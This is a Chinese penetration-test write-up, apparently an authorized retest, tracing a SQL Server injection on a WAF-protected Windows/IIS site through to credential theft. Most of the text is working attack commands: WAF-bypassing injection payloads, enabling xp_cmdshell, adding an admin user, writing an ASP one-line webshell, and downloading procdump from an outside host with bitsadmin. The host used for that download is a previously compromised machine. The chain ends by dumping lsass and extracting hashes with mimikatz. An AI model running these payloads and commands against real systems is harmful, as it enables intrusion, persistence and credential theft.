sql注入到hash dump – 作者:CSeroad

前言

在初测某系统时,发现该系统存在文件上传,SQL注入等高危漏洞。

经过一段时间的整改。复测时发现系统的文件上传漏洞已经修复。但仍然存在SQL注入漏洞。只不过加了一层云锁的防护。

信息收集

IP为阿里云、windows+IIS+aspx+sql server、云锁的防护、80、1433、3389端口开放

sql注入

sql注入点还是初测的搜索框的注入。在云锁的防护下,无法使用sqlmap跑包。

会封IP。

image.png

笔者选择手动注入bypass 

简单的payload

1%';execute('sel'%2b'ect convert(int,@@version)') -- 
1%';execute('sel'%2b'ect convert(int,user)') -- 
1%';if(select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5' -- 

image.png


image.png

笔者考虑到sqlserver数据库的庞大数据问题,以及上传漏洞被修复。可能进了管理后台也不存在上传漏洞。 且当前sqlserver为dbo用户,可以命令执行。

(还有一思路:利用dnslog读取sqlserver的密码,然后远程连接sqlserver数据库。尝试了多半个小时还是没法bypass)

命令执行

sqlserver执行系统需要开启xp_cmdshell组件。

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行时云锁并未拦截。

页面没有回显。不知道是否成功开启。

执行几条系统命令试试。

image.png

依然没有回显。

将命令执行输出到网站可访问的目录下。(网站根目录是初测文件上传看到的)

image.png

image.png

system的权限,再加上IP为阿里云,直接添加用户远程好啦。

哪知道,这才是刚刚开始。

1%';exec master.dbo.xp_cmdshell "whoami >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "dir >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "tasklist >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user admin 1234qwer.. /add >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user  >> c:\\xxx\\Admin\\1.txt"

几条命令执行后,竟然没法添加上用户。可能进程里存在防护。

image.png

陷入僵局······

思路一

通过echo写入asp一句话马,bypass 云锁可以使用include包含。

结果服务器500

echo ^<%eval request('x')%^> > c:\\wwwroot\\xxxx\Admin\\2.txt
echo ^<!--#include file='2.txt'--^> >  c:\\wwwroot\\xxxx\Admin\\2.asp

image.png

思路二

使用冰蝎自带的asp webshell。将源码base64编码后,certutil  -encode 解码生成asp马。

结果字符长度有限制。

image.png

思路三

打算使用frp+metasploit,然后发现vps被封啦。

最后采用prodump+mimikatz读取windows密码

Procdump导出lsass.dmp

通过bitsadmin命令远程下载prodump文件到目标机上。

(因为vps不能用,笔者先将prodump64.exe上传到曾经被拿下且还存活的靶机上,再通过bitsadmin命令从靶机上下载prodump64.exe到目标机上。简单来说,相当于中转了一下)

bitsadmin /transfer myDownLoadJob /download /priority normal "http://111.xxxx:82/ArcGIS/procdump.exe" "C:\\Windows\\system32\\procdump.exe"

为了避免再次出现字符长度的限制,笔者选择下载到c:\\windows\\system\\目录下

即sql server命令执行的目录。

image.png

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Procdump导出lsass.dmp

image.png

再通过copy 到 c:\wwwroot\xxxx\admin\lsass.dmp   

image.png

当访问的时候,竟然出现404。笔者一直以为copy命令有误。

dir查看该目录才发现这神奇的问题。

image.png

手动将lsass.dmp重命名为x.txt,成功下载。然后在本地上再重命名回dmp。就可以通过mimikatz读取hash

image.png

image.png

image.png


关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号

ewm.png


来源:freebuf.com 2019-06-17 00:40:08 by: CSeroad

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论